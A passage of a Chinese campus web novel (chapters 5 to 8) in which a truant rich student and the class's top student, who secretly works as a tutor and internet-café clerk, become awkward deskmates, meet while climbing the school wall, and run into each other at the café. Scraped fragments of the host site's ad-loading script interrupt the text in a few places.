"2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 卖泡面的窗口队伍已经散了个七七八八,林藏初一路畅通无阻地挤到了玻璃柜台前,对着上面普遍比外面超市贵出三块钱的泡面和奶茶端详了一阵。 “姨,麻烦来桶香辣的。”林少爷稳稳地递过去十块钱纸币。 食堂窗口旁边就是热水,林藏初在窗台上忙活了一阵总算是把自己的午餐给泡上了,回来的时候端得小心翼翼,生怕被哪个同学一撞就把自己这唯一的planB给撞没了。 香辣牛肉面的香味顺着风荡荡悠悠地缭绕在空气里,还在吃清水煮白菜的谢遥集看着林藏初端着份泡面桶视若珍宝地走回来,把自己的餐盘往回拽了拽,默不作声地屏了几秒钟呼吸。 尊严如他,死也不可能承认自己此时的浓烈嫉妒之情。 吃过食堂的难吃饭菜,再看泡面都是种山珍海味。 林藏初美滋滋地把碗往桌子上一放,面还有几分钟才能泡好,话痨瘾犯了。 他张了张嘴,刚想闲扯淡地随便找个话题跟对面说点啥,一抬头却发现谢遥集依旧专心致志地在啃自己碗里的白菜。 ……好像并不是很想和自己搭话。 林小少爷那点儿为数不多的社恐恰到好处地起了作用,默默打消了找面前这位年级榜一聊天的打算。 此时再看食堂里的人已经走了个彻底,后勤阿姨围着围裙从最后一排的桌子勤恳认真地擦到第一排—— 跟还在吃饭的两个人来了个六目相对。 阿姨捏着擦桌子的抹布往这张餐桌上扫视了一圈,目光在触及到林藏初面前一整盘满满当当的菜和旁边没泡开的方便面时,忽然变得杀气腾腾起来。 闲着没事干的林藏初有幸目睹了食堂阿姨变脸的全程,伸出手默默把菜盘子推到了谢遥集那半边桌子。 “……那啥,姨,这份是他的。” 谢遥集咽下一口干豆腐,缓缓抬头:“?” 阿姨微笑凝视。 谢遥集又低下头,看了看离自己手边不到两寸的宫保鸡丁:“…………” 这口从天而降的黑锅扣得实在太过紧急,谢会长甚至没来得及为自己争辩些什么,就看见食堂阿姨动作利落地把那盘无人问津的宫保鸡丁端了起来。 然后分毫未洒地,全都扣在他餐盘里的另外一个空着的格子里:“你个大小伙子还那么讲究,用两个餐盘装菜,这个我收走了啊。” 谢遥集:“…………” 阿姨推着餐具回收车走了,对面坐着的林藏初已经不知道什么时候把脑袋埋进了校服,忍笑忍得肩膀都在抖。 谢遥集低头看了看自己比原来多了近一倍的饭菜,又看了看桌子另一端正在幸灾乐祸的罪魁祸首,拳头硬了不止一星半点:“故意的?” 林藏初于是不笑了:“哪有的事儿。” “这不是体谅谢神您长身体,怕你吃不饱吗。” 林小少爷把塑料折叠叉子掰开,扒拉了几下险些泡过头的方便面,看向谢遥集的目光一片真诚。 “同学之间互帮互助,应该的,不用谢。” 5. Chapter 5 这顿饭吃得算是暗流涌动,到最后两个人谁都没说话,在食堂门口不约而同地礼貌道别。 “我要回班睡觉了。”林藏初说。 谢遥集不是很想接他的话,但是出于骨子里的礼貌还是顺口答了一句。 “嗯,我去操场上随便转转。” ……操场?随便转转? 林藏初下意识抬头,往今天万里无云的天空看了看。 操场上方烈日高悬,虽然没夏天那么热,但是这个晒度和紫外线也着实不适合在外面“随便逛逛”。 算了,管他呢。 林小少爷自认为自己这番多虑已经尽到了人文主义关怀,所以在对着谢遥集时,他只点了点头,“哦”了一声。 谢遥集站在原地,目送林藏初的身影逐渐远去。 从这个位置能看到北楼一层那扇年久失修的门,谢遥集安静地等了几分钟,一直到看见对方的深红色校服拐过北楼前门那片郁郁葱葱的树林,再也看不见的时候,才收回目光,转身往另一个方向走去。 相较于一中北楼的林荫成簇,南楼前面实在是整洁得有些过于空旷。 谢遥集顺着操场跑道慢悠悠地往西边的凉亭里晃荡,等走到监控看不见的死角时,又从校服内侧的口袋里摸出来手机。 他打开通话记录的界面,在一大堆红色的广告推销未接电话里下滑,最后停在了一个陌生的星标号码处。 上次来电时间显示的是中午12:01。 谢遥集的手指抵着凉亭略微掉了漆的柱子,长而缓地深吸一口气。 短暂地思考了几秒钟,他长按电话号码复制,十分干脆地从通话界面退了出去,转而点开短信界面。 设好发送人,刚编辑了几个用来道歉的字,想了想,又删掉了。 谢遥集在一大堆理由里面挑挑拣拣,最后也没能找到个能让自己满意的。 ……手机欠费还是学校有事?或者是赶去家教的路上摔了? 谢遥集低头看了看自己的腿,竟然还真的认真思考了一下伪造伤口的可能性。 不过对面没给他这个机会,在谢遥集第四次试图编辑一个滴水不漏的短信借口的时候,电话忽然打了过来。 谢遥集:“……” 是福不是祸,是祸躲不过。 号码接通,对面是个稳重的中年男人的声音:“喂?请问是谢老师吗?” 借口还没想好,谢遥集抵着柱子的掌心稍稍浸了些汗,久违地沉默了。 “喂?喂?听得见吗?” 对面又喂了几声,得不到回应之后语气里染上了些不耐烦,“今天答应好的家教怎么没来,是有事吗?” “抱歉,刚没听清,风有点大。” 直到开口的一瞬间,谢遥集才发现自己的嗓音听起来似乎有点哑。 “叔,真不好意思,今天临时有事,所以——” “之前已经明确说好是一周四次课,哪有放人鸽子的道理?” 电话对面传出中年男人疏离客气的声音: “九理需要的是一个能每周在固定时间,准时来家里辅导的老师。” 重音落到末尾的“准时”二字上,他话音里已经带了些勃然的怒气:“要是耽误了学习进度怎么办?” “这种事已经不是第一次了,你能来就来,不来就利落走人!” 电话那头的程父声音有些大,谢遥集看了一眼远处的监控,默默地把手机往外拿远了些。 他看着石凳上那只找不到大部队的落单蚂蚁,慢吞吞地开口:“我知道的,叔。” “今天没能赴约,确实是我的问题,我向九理和您道歉。” 摘了眼镜,四周的景色也变得模糊起来,谢遥集捏了捏鼻梁,垂下眼睛,熟稔地换了个委屈求全的口吻。 “其实我本来想着课余时间再额外给九理多辅导几次作业的……未来这一周也都能随叫随到……” 凉亭上方扑棱棱地有鸟飞过去,谢遥集面无表情地深吸一口气,调整好情绪。 “程叔,你能不能……”他的声音很低,像只是说给自己听的一样,“再给一次机会?” 许是谢遥集的语气听着太过可怜,电话那头程父的火气倏地灭了大半。 他摇了摇头,话也跟着放缓了些:“也不是说你讲得不好,就是吧,这时间确实是对不太上。” “小谢老师,我们最开始找你,也是因为了解你在学校的成绩是一打一的好。可毕竟现在升高三了,要求你所有精力都放在我们家九理身上,是不是也有点苛刻了?” “不会的。”谢遥集握着手机的指节微微泛白,皱眉道,“学校这边的事我可以兼顾。这也不会是我减少对九理学习辅导的借口,您放心。” 对面没有回应,似乎还在沉吟思考。 谢遥集心下一空,电光石火间思绪千回百转,他抢在程父开口前迅速补充:“您也知道,我未来没有参与竞赛的计划。” 刚要拿“竞赛训练占用时间太多”说事的程父:“嗯?” “……但我对竞赛题目也有一些了解和心得。”谢遥集不易察觉地松了口气,接上话道,“以后也可以给九理额外增加这方面的训练。您看,可以吗?” 片刻之后,程父终于松了口:“好,那你今天晚上来吧。” “帮九理把中午耽误的内容补上。” “嗯,好的。”悬着的心骤然回落,谢遥集还没来得及口是心非地再奉承一句谢谢,对面就已经变成了挂断电话后滴滴的忙音。 盯着挂断的界面,他难得走了会儿神。 直到夏风鼓起他单薄的短袖,谢遥集才后知后觉自己额头竟然也出了层薄汗,叫风一吹,冷涔涔地难受。 想起自己熬夜做过的那些竞赛题册,谢遥集没忍住,有些遗憾地啧了一声。 这份家教的活计是他暑假时偶然碰到的,程家财大气粗,时薪给的十分丰厚,相应的,对他这种勤工俭学的高中生要求也严。 甚至要不是程九理同学当初哭着闹着非要同龄人来补课,这种天上掉馅饼的事也轮不到他。 又是一阵风,纠缠不清的思绪像是没有重量似的被悉数吹走了。 ……算了,还是赚钱比较重要。 谢遥集长长地吐出一口气来,心里琢磨着今天晚自习是英语,能翘。正好。 · 等他回到教室的时候,距离下午第一节课上课还有不到十分钟。 新同桌趴在桌子上睡得正香,看架势又是准备安眠一整个下午。 谢遥集只看了几秒就收回目光,不知作何他想地叹了口气。 课代表刚从办公室领了各科的阶段复习卷回来发,两人份的卷子全堆在他一个人的桌子上,层叠得已经完全看不见底下木黄色的桌面了。 ……有同桌真是一件麻烦的事。 谢遥集忽然很想把旁边这个每天不是睡觉就是在睡觉的少爷叫起来,忍了忍,最后也只是又叹了口气。 他赶在上课铃声响起之前一边把两个人粘在一起的卷子分开,一边在心里神游天外地想:有钱真好。 不用认真上课,也不用每天奔波去打各种零工,就只是睡觉而已。 可能是谢遥集往旁边放卷子的动作或多或少地沾了些怨气,“就只是睡觉”的人被戳醒了,白皙的脸颊上带着点方才压出来的发红印子。 隐隐约约能看出来是一支没了盖儿的针管笔。 林藏初的声音还带着刚睡醒时的哑:“上课了吗?” 问完了他才想起来现在自己的同桌是谢遥集。 谢遥集没看他,但也没晾着人家,只是十分敷衍地摇了摇头。 林藏初:“?” 林藏初仿佛从他这个摇头里面看出了一点儿不屑。 中午还坐在一张桌子上吃饭的人此时此刻翻脸不认人,连一句多余的废话都不肯给。 ……不是吧,你们学习好的气性这么大? 林藏初想起来那盘自己只动了一口的宫保鸡丁。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又感觉堂堂学神,有点儿洁癖大抵也不是什么稀罕事儿。 时间在念经般的数学课里转瞬即逝,转眼就到了晚二前的下课。 新同桌在旁边稳稳当当地坐着,林藏初也不好像往常那样偷溜出去鬼混,硬生生在自己的位置上坐如针毡地捱了一整个下午。 这节晚自习是英语,老师除了会在晚一的自习课上偶尔下来巡视几圈,其余时间都不会太注意座位上人数的多少。 更甭提英语课大部分时间都在讲英语阅读,与其说是英语课,其实更像是一场老师与学生之间七嘴八舌、谁都可以上来插句话的辩论赛。 整天都没找到机会逃课的林藏初在心里一合计,霎时觉得这节课是个绝妙的能出去玩的机会。 无巧不成书,他脑袋里刚大逆不道地冒出来这个想法,藏在桌屉里的手机就闪进来一条微信消息。 -是九理不是九里:林哥,一会儿去网吧不? 林藏初低头打字。 -菜就多练:去。这破学校待着太没意思了。 发完这条消息之后,他熟练地把手机揣进了口袋,准备起身叫他的新同桌让个位置。 一抬头,却发现旁边的座位不知何时就已经空了。 林藏初心道这真是天助我也,立刻趁着班里同学都在自顾自唠嗑的时候低调地溜出了教室的门。 高三(1)班在整个北楼的五层,等他刻意绕过熟人常走的路线,一路走走停停地下到一楼大厅的时候,晚二的上课铃已经响了。 整个楼厅空旷昏暗,值班室里的老师不知所踪,林藏初松了口气,立刻一蹦三跳地跑出了教学楼。 他不是第一次翘课,因此对学校里的路线也轻车熟路—— 即使天色暗沉路灯未亮,也能凭借着自己强大的记忆力抄近路找到传说中的秘密墙头。 林藏初站在墙下,抬头看了看这堵因为被一届又一届学生翻进翻出,如今已经变得格外光滑的砖瓦高墙。 这个时间段看不清周遭的景色,林藏初只好凭着自己的印象在墙上找了个借力点,用力一踩,无声轻巧地翻了出去。 落地的一瞬间,林小少爷只觉得整个人都跟着松快了不少,胸也不闷了头也不疼了,甚至已经看见网吧里的电脑在向自己招手了。 他拍了拍手上的灰,刚要抬脚离开。 身后忽然传来一阵窸窸窣窣的声音,远远听着就像有人在刻意跟踪他一样。 林小少爷生平一怕政教主任,二怕鬼神之说。 他在这两个渗人的猜测里惊出一后背细密的冷汗,秉承着早死晚死都是死的豁达人生态度猛地一回头。 ——蹲在墙上的红色校服影影绰绰,十分恰巧地跟墙下的他来了个四目相对。 虽然看不真切面容,但是勉强能看出来是人不是鬼。 林藏初后背上的细汗缓缓地消了,但先前恐惧的余韵尚在。他深吸一口气,友好结交般地递了个搭话的橄榄枝出去,率先开口道:“……嗨,同学。” “好巧,你今儿也出来玩?” 然后他就看见这人单手撑墙,一个十分利落的翻越,随即稳稳当当地站在了自己的面前。 是个有些熟悉的嗓音:“……林藏初?” 林藏初:“?” 两人之间的距离离得实在太近,他的视线停在对方的鼻梁上,缓缓上移—— “谢遥集??怎么是你??” 林藏初感觉自己的世界观被炸了个稀碎,对眼前的事实一时难以置信,手指颤颤巍巍地指向对方:“你?年级第一,逃课?” “嘘——” 谢遥集对着他抬手,做了个噤声的手势。 一双藏在镜片下面的桃花眼微微弯起,不复以往学生会会长的疏离官腔。 “林同学,我们今晚就当从来没遇见过。” 清冽的皂香顺着晚风丝丝缕缕地吹过来,林藏初听见平日总是出现在广播里的声音在自己耳边轻声问,“彼此保密,怎么样?” 6. Chapter 6 “残血残血,我靠,林哥快上——”网吧双人包间里,键盘和鼠标噼里啪啦作响,程九理险些把嗓子喊劈了,“哎呦,叫他跑了……林藏初,你愣着干嘛不追啊?” “啊……抱歉。”林藏初从半个小时前的记忆里猝然回神,手指操纵着人物往墙后一闪,避开了敌人从草丛里冒出来的偷袭技能。 一局结束,巨大的Defeat横贯在屏幕上,刺眼得很。 程九理眼睁睁地看着自己的段位又掉了颗星,差点就要沦落到下一个大段,皱眉道:“林哥,你今天怎么心不在焉的?” 林藏初:“有吗?” 程九理点点头,十分肯定地答道:“有。” “如果是平时,放在刚才那种情况下,你一定会大叫着‘宵小之辈也敢偷袭老子’,然后冲上去把人砍了,一挑三的那种砍。” 林藏初:“……” “我也没有你说的那么,呃,残暴吧……”他抓了抓头发,眼神有些四处乱飘。 “那个啥,九理你说,如果你跟班里一个特别不熟的同学做了同桌。” 眼看着程九理马上要为他失去的段位狂暴发火,林藏初连忙岔开话题,努力组织了一下语言,“会不会觉得特别尴尬,我是说,局促?” “?”程九理的寻仇之路被迫中断,奇怪地看了他一眼,“有啥好局促的?” “那如果你们又恰巧在逃课翻墙的时候遇见了呢?”林藏初不死心地追问。 “那更说明我和他是一路人啊!”程九理一拍桌子,语气斩钉截铁,“更得惺惺相惜、拜个把子了!” 林藏初:“……” 仔细一想,好像也确实是那么回事。 但是当他脑袋里自动把这个同桌替换成谢遥集的时候,又感觉有些对不上号。 ……年级第一,学生会会长,老师眼里的好学生。 无论哪个词都和自己这种混吃等死的差等生不搭边儿,甚至放在一起都感觉是种玷污一样。 林藏初在人际交往这方面很少有心事,如今却是因为这份突如其来的绑定关系而长叹了一口气。 队伍列表里程九理早已经点了准备,正百无聊赖没个正型地瘫在椅子里刷手机。 林小少爷的视线从屏幕移到他身上,刚要点排位匹配的手顿住,忽然琢磨出来点儿不对来:“九理。” 程九理放下手机抬头看他:“嗯?” “你不是说你家里给你找了个补课老师吗?今天怎么有时间出来玩儿了?” …… “……所以程叔叔,您的意思是,九理今天不在家?” 谢遥集站在别墅门口,听完程父怒发冲冠的描述后,礼貌地回问了一句。 程父脸上难得地挂了点儿窘迫的歉意:“真对不住啊,小谢老师。这孩子不知道跑儿哪去了,电话也不接微信也不回,还害得您白跑一趟……” 谢遥集低头看着路灯下地面砖瓦缝隙间的草色,沉默了几秒才道:“没关系,叔,都是小事。” “等九理回来我们改天再补,也是一样的。” 一中离别墅区的距离几乎横跨小半个县城,他一路风尘仆仆地蹬着自行车过来,后背还沾着些剧烈运动过后薄汗。 北方秋日里寒冷的夜风一吹,浑身上下有种彻头彻尾的冷。 但面上还是往常那副善解人意、如沐春风的营业微笑:“等九理回来,还请麻烦您转告他,记得把下次辅导要用的资料题提前做了。” “好的好的,辛苦小谢老师白跑这一趟,真是对不住。” 这事确实是自家占不上理,程父一边送人一边在心里暗骂自己那不争气的儿子,恨得牙直痒痒却又不好对外人发作 ,“我会告诉他的。小谢老师以后要是有什么需要帮忙的地方尽管提哈。” “叔你这话客气了。”谢遥集摆摆手,脸上的笑容撑得都有些僵了,对面还执意要往出送他,“我车子就在不远处停着,晚上天儿也冷,您先回去就是。” 三言两语的太极打回去,总算是把人留在了程家别墅的院子里。 谢遥集礼貌告别后转过身,沿着来时的路往回走。 等听见身后门锁开合的声音,才把装出来应付人的笑容给面无表情地悉数抹了,抬起手腕看了看时间。 ——距离22:00还有将近一个多小时。 无缘无故地被学生放了鸽子,谢遥集说不上自己现在是什么心情,或许是生气,又或许是被人耍来耍去的、自己却又无能为力的恼怒。 他想起来曾经班里还在实行分组采购的时候,自己恰巧和林藏初分到过一组。 店家坐地起价死活不肯让步,生活委员据理力争反唇相讥“买这么多都不能打折会不会做生意”的时候,被老板指着鼻子骂,没有钱就不要进这个门。 那个时候他做了什么其实已经记不太清了,可能是在好言劝和,也可能是帮着高姿跟老板打价。 但是林藏初的举动他永远记得—— 这位林小少爷从身后一把扒开了谢遥集,站在这一组几个同学的前面,就像平时那种被催收作业时很不耐烦的语气,指着对面老板的鼻子骂道:“我们缺你这点儿东西?爱卖不卖!” 这场争吵最后以林藏初的胜利而告终,他领着其他人头也不回地出了店门,又从高姿手里接管班费,垫付预算去其他家买了质量更好的道具。 那是谢遥集唯一一次没用跟着人赔笑脸。 这件放在记忆里,可能十年、二十年后都不会被人刻意想起来的小事,在今天这个和往常似乎没有什么不一样的晚上,莫名其妙地被谢遥集用一根名叫“无能为力”的针轻飘飘地挑了出来,变成了一张又轻又薄、却能轻易将人划伤的纸。 他推着自己的杂牌自行车摇摇晃晃地停在别墅区的出口,最后回头看了眼远处幢幢栋栋的灯火通明,心想。 ……原来有钱真的能为所欲为。 · 去网吧的路上,天上十分不巧地下了点儿小雨,谢遥集又很倒霉地没带伞,等看见“星云电竞”的霓虹牌匾的时候,他的头发和身上已经沾了层细细蒙蒙的雨雾。 玻璃门在被推开的一瞬间,上面挂着的风铃叮叮当当地响,老板正在收银台后面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 整理东西,看见人进来的时候惊讶地“哟”了声:“小谢今天来这么早?” 网吧里烟雾缭绕,大厅里几乎都是噼里啪啦的键盘声,时不时混着顾客几声至臻至纯的国骂。谢遥集勉强听清了老板的招呼声,跟着走过去,十分自觉地接过老板手里的活计。 “嗯,今天没什么其他的事,来得早了些。” “那正好。”网吧老板喜形于色地点点头,“今儿咱网吧的生意特殊火,刚才079包间的客人说要一罐雪碧和一瓶冰红茶,你帮我送过去。” 谢遥集应了一声,把书包放在吧台旁边的柜子上,转身去冷柜里拿饮料:“凉的?” “对,凉的。顺便再问问他们要不要其他东西哈。” 说话的功夫又来了几个客人,老板嘱咐到一半就去忙着给人开票上机了。 谢遥集伸手一捞,把最上层带着冷气的雪碧拿下来,又弯腰去找冰红茶—— 没找到。 不知是老板忘记放了还是怎么样,总之他没能在冷柜里找到它。湿漉漉的额发有些黏腻地搭在眼镜框上,扎脸得很。 谢遥集随意抬手把头发往脑袋后面梳了梳,露出来一小片饱满的额头。 那群客人里似乎混着几个未成年,老板还在忙着开票的事儿,谢遥集叹了口气,也没去讨人嫌地再问清楚,只退而求其次地拿了旁边饮料箱子里常温的冰红茶。 然后顺手又把剩下的往冷柜里填了几瓶。 079包间在大厅右拐过去的走廊尽头,是个双人包间。 谢遥集端着饮料过去,贴近玻璃磨砂门的时候正巧听见里面传出来撕心裂肺的指挥声:“杀杀杀!林哥快帮我扛一下大!” …… “Ni——ce!” 三杀到手,程九理激动得差点没从电竞椅上蹦起来,“林哥我爱你!谢谢你慷慨大方地让我人头!” “小事,小事。”林藏初轻咳几声,脸上端得一片风淡云轻,“也不看你林哥什么水平?” 一连上了三颗星,被全程带飞的程九理正准备就着林藏初的话大夸特夸,门外的敲门声忽然打断了他。 程九理的溢美之词全部都堵回了喉咙里,只好不情愿地小声嘟囔:“谁啊,这个时候来。” 林藏初道:“可能是刚才点的饮料吧。” 他把游戏界面最小化放在桌面,扬声道:“请进。” “您好。一罐雪碧和冰红茶。” ……又是熟悉的声音。 他愣愣地看着那扇磨砂玻璃门被一只修长好看的手推开,谢遥集单薄高挑的身影逆着走廊里白炽灯的光线走进来,饮料盘放在电脑桌上,发出了“嗒”的一声轻响。 “冰镇的冰红茶暂时没有了。”谢遥集低着头,却没看他的眼睛,只例行公事般地轻声问道,“常温的可以吗?” 话音刚落,还没等林藏初出声,旁边的椅子紧跟着哐当一下,连人带椅地摔了个四仰八叉。 “谢……谢老师?!!” 程九理缩在歪倒的椅子后面,声音吓得几乎劈了叉。“——你怎么在这儿???” 7. Chapter 7 “我为什么不能在这儿?” 被他质问的人语气很淡,话虽是回给程九理的,目光却有意无意地落了几秒在旁边开着游戏的电脑屏幕上,“倒是你,故意离家出走逃避补课……难不成,是想扯个谎,好把过错全都算在我头上?” 原本正打着这种算盘的程九理:“……” 被人轻飘飘几句话就戳破心思的叛逆少年立刻见风使舵地“噗通”往地上一跪,抓着谢遥集的衣摆就开始假哭:“谢老师我错了,你不要把我逃课来网吧的事情告诉我爹,他真的会打断我的腿啊!” “我发誓,谢老师,我以后再也不忤逆你了。”他抹了一把并不存在的眼泪,凄凄切切地开始对天发誓大表忠心,“只要你不告诉我爸妈,以后这个家有我就有你,你说东我绝不往西,什么名校研究生机构老师全都见鬼去,我只认你——” “行,程同学既然有这份心意,那我就心领了。” 谢遥集顿了几秒,避重就轻地截住了他的话,笑眯眯地把人从地上拉起来,“地上凉,小心别冻生病了,回去也不好交代。” 林藏初拿着他那瓶常温冰红茶,目瞪口呆地围观了自己的好兄弟在几秒钟之内从补课老师的“天下第一反派黑粉”变成“流着哈喇子的狗腿子”的全过程。 谢遥集低头凑过来的时候,他仿佛嗅到了对方发丝间一点小雨淅沥的潮湿气,空荡荡的,混着好闻的洗发水香。 方才还出现在他和程九理闲聊话题里的人就这么突兀地出现在了眼前。 在这个任凭林藏初怎么想都不会把它与谢遥集这种“好学生”联系到一起的地方。 林藏初莫名其妙地有些紧张,还在想到底要怎么开口打第一声招呼——谁知对方的胳膊绕过他,什么都没说,只是将桌上的饮料盘拿走了。 被忽视的人有一瞬间的恼羞成怒,林藏初不知怎地脑子一抽,抬手就把对方刚要离开的手腕攥住了。 谢遥集朝着他递了个疑问的眼神:“?” 林小少爷撇撇嘴,表情平淡地找茬道:“抱歉,不要常温的,要凉的。” 谢遥集的视线落在他身上,站在原地嗯了一声,没动。 两人一时间僵持起来,刚从地上爬起来、还瘫在电竞椅里惊魂未定的程九理皱着眉在他俩之间左右看了几个来回,倏地冒出来个荒谬的猜测:“谢老师,你……你和林哥也认识?” “不认识。”两人异口同声地答,声音大到把程九理又吓了一跳。 险些再次栽下椅子的程九理:“……那你们继续,继续哈。” 林藏初的手指还搭在对方的手腕上,不知过了多久,他终于在这场颇为孩子气的别扭里率先败下阵来:“算了。” “……你去忙吧。” 他没再往对方所站着的方向投去视线,只是把头转回来沉默地动了下鼠标,重新点开电脑上的游戏画面。 脚步声渐渐远去,包间的门吱呀一声被打开,几秒钟后又被人轻轻地关上了。 程九理举着满是气泡的雪碧凑过来,眼看着林藏初点开自己的个人资料卡,又点开头像大图,然后就静止不动了。 半分钟过去后,这人依旧没有任何动作,程九理试探着开口:“……林哥?” 林藏初幽幽转头:“嗯?” “你是要换头像吗?”程九理一副虚心求教的语气。 林藏初:“……” 林藏初诚实道:“不是,我随便点的。” 他看着桌上那瓶经由谢遥集手送过来的冰红茶叹了口气,心情莫名其妙地又变得有些烦躁起来。 “今天就玩到这儿吧。”他说,“外面下雨了。” “啊?”程九理扒着窗户往外看,“刚才来的时候不还好好的……” 话音未落,窗外传来一声沉默的轰隆雷响,紧接着狂风大作,暴雨倾盆。 程九理:“……” 程九理有些崩溃了:“林藏初,你雷公转世啊?我从家里溜出来的,哪儿有伞啊!!” “我也没带。”林藏初默了默,不知为何又想起来谢遥集淋了雨的头发。 他摇摇头,试图把这个人从自己的脑袋里摇出去:“打车吧,一起回我家。” · 谢遥集觉得自己今晚的工作和往常没有什么不一样。 除了一些偶尔的麻烦事。 这个时间段的网吧已经有些人满为患了,礼貌送走一帮开口就是要定三个邻座位置的客人,他捏了捏因为缺少睡眠而微微发疼的太阳穴,叹着气拉开书包拉链,从厚厚的练习册里抽出来一本必背古诗词。 明早第一节课就是语文,老师已经提前说了要抽签让同学上黑板默写。 谢遥集对自己的倒霉程度向来有着清楚认知,无论是在学习上还是在各种乱七八糟的事情上。 写满数学公式的草稿纸被他翻了个面,黑色的针管笔字迹落下。 谢遥集上高中这三年,学生会会长的职务在身,其实遇见过很多的麻烦事。 而这些大部分的麻烦事里都掺着一个“林藏初”。 ……今天也不例外。 谢遥集对于“在网吧打工时偶遇自己的新同桌”这件事的态度远没有自己认为的那样冷静,他轻轻呼出一口气,笔下的古文默写练习没停,脑袋里却自然而然地腾出来了一点儿角落,开始思考起有关于一些事和人的对策来。 其实最好不过是林藏初像今天晚上他俩在墙头约定好的那样“保密”,尘归尘土归土,两个人井水不犯河水地相安无事。 他曾经的确想过,像拉拢其他学生一样去“拉拢”林藏初,谢遥集在得到他人信任这种事上有一种得天独厚的天赋,然而这种引以为傲的能力却在林小少爷这里变成了一只乱了磁的指南针,无数次铩羽而归。 谢遥集又想起来开学典礼上那篇不知所云的演讲稿,今晚不知道第多少回再次叹了口气,只觉得自己所有美好的品德都在碰到林藏初这个人的时候消失得一干二净。 纸上的古文默了一篇又一篇,谢遥集刚重新写下“劝学”两个字,桌面就被人敲了敲:“喂。” 他抬头,看见一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个脸上带着疤的寸头花臂老哥站在桌台前。 表情凶神恶煞,似乎是来找他有什么事。 谢遥集立刻抓起自己的礼貌微笑,在脑袋里把自己欠的债务和刚才送的一堆酒水单子迅速过了一遍,确认没有任何差错之后才微微直起身:“请问需要什——” 他话还没说完,眼前就被递过来一把土里土气的花纹伞。 “喏,有个人还你的。” 花臂大哥的嗓音简直跟他本人一样粗犷,莫名其妙被塞过来一把伞的谢遥集:“?” “不好意思,这应该不是……” 外面不知什么时候已经雨势渐大,网吧里的呛鼻烟味和从窗户缝刮进来的尘土混在一起,变成了另外一种难闻的混合味道。 谢遥集忽然鼻子发痒地想打喷嚏,只好暂时止了话音,往后稍稍退了一步。 怀里系得松松垮垮的折叠伞随着他的动作倏地散落,尾端的挂绳上粘着一张小小的纸条。 纸条上龙飞凤舞地写着几个鬼画符。 谢遥集动作一顿,皱着眉拿近了,仔细辨认后终于看出来上面写着: 给宫保鸡丁。 谢遥集:“……” 他接了伞之后迟迟没答话也没说谢谢,花臂大哥大抵是个暴脾气,瓮声瓮气地一拍桌子:“这伞不是你的?说话啊,不说话搁那儿偷偷乐啥呢。” 谢遥集卡了下壳,才意识到自己方才不知道什么时候笑了。 兴许是被林藏初那一手炉火纯青的破字儿丑得。 “嗯,谢谢哥,这伞确实是我的。”谢遥集煞有其事地对着人点点头,“辛苦您帮我捎回来。” …… 夜里的雷阵雨来得快去得也快,等到雨停的时候已经是后半夜的凌晨了。 林藏初在床上翻来覆去地睡不着,旁边的程九理睡眠质量好到沾枕头就着,鼾声规律到几乎可以当计时器的地步。 林·失眠星球长期原住民·藏初:“……” 他从枕头底下把手机摸了出来,按亮屏幕。 这个点儿连平时热闹的空间都没什么人在发说说,林藏初百无聊赖地一条条看过去,又从消息列表点开了自己加进去之后就没在里面说过话的班级群。 都是些没什么具体话题的闲聊,林藏初一直翻到上个月月初的记录,最早的一条是谢遥集转发的数学竞赛报名通知。 林藏初的手指在那个系统默认的企鹅头像上悬停了几秒,鬼使神差地点了进去。 谢遥集连个网名都没给自己设,资料卡上还是一串数字。 林藏初:“……” 林藏初心情复杂地在界面上下滑了滑,个性签名那一栏什么介绍都没有。 偷窥人家主页到底不好,他刚想就这么退出去,身后好梦正酣的程九理一个托马斯回旋大踢腿,林小少爷整个人在极强的推背感里手机没拿稳,不小心误触了几下屏幕。 也不知是点到了哪里,等他反应过来的时候上面已经弹出来了一条通知。 “您已成功添加对方为好友。” 8. Chapter 8 谢遥集最终还是没能用上林藏初送给他的那把伞。 他回家的时候雨已经停了,路上只剩了一点儿秋日凌晨时分的寒冷,扑簌簌地直往人的外套里刮。 出租屋离网吧的距离不算远,谢遥集进门的时候动作放轻得小心翼翼,但还是有一团漆黑的虚影在开门声响起的一瞬间就从里屋飞窜出来,挂在了他的裤腿上,叫声奶细微弱:“咪呜——” 谢遥集弯下身把它整个拎起来,伸直胳膊抱在视线正前方端详了一阵。 小奶猫霎时上蹬下踹地在他手里激烈挣扎起来:“喵——!喵喵喵!喵!” “你再待几天,我就要养不起了。”谢遥集叹了口气,把它重新放回地面上,小猫在落地的瞬间立刻爪子一蹬地跑走了。 它熟稔地钻进客厅的纸箱子里,探出只毛绒绒的猫头来,金色竖瞳滴溜溜地盯着谢遥集看,半是不满半是撒娇地再次叫了一声。 谢遥集摘了眼镜放在玄关处的柜子上,一边心道要尽早给这只小流浪猫找个下家,一边往浴室走,十分迅速地冲了个五分钟的澡。 等他擦着头发出来的时候,衣服旁边的手机屏幕不知道什么时候亮了。 谢遥集把手机捡起来,发现不常看的Q/Q图标右上角多了个小红点。 他点进去,却没能找到联系界面里的新消息。 也不是系统本身的游戏公众号推送。 谢遥集皱着眉又翻了翻,终于看见了一个崭新的聊天框。 -菜就多练:(撤回了一条消息) 谢遥集:……? 头发还在往下滴水,谢遥集盯着聊天界面顶部那条“对方还不是你的好友,确定要添加对方为好友吗”的提示看了几秒,右滑进了这人的空间。 最近更新赫然是一条说说:“五排缺人,来组队,保证带飞。” 配图是一张五连绝世+mvp的战绩结算。 谢遥集:“……” 除了自己的新同桌,他想不出来能有第二个人。 谢遥集从对方有着八位数吉利Q/Q号的纯黑色个人资料卡界面切回去,在添加好友的提示上点了确定。 …… 谢遥集不记得自己是怎么睡着的,打工干活太多的坏处就是每天晚上的睡眠质量都十分随机,要么稳稳一觉到天亮,要么稀里糊涂地做梦做到鬼压床。 今天可能是第二种。 谢遥集梦见自己在校外一家新开的奶茶店里打工,隔壁来了个福利彩票窗口移动车,生意十分火爆,店里的其他员工都起哄着让他也去买一张。 刚做完一杯暴打鲜橙的谢·打工人·遥集抱着某些不切实际的幻想,被同事推搡着到了窗口,抠抠搜搜地买了张五块钱的彩票。 刮开一看,嚯,特等奖。 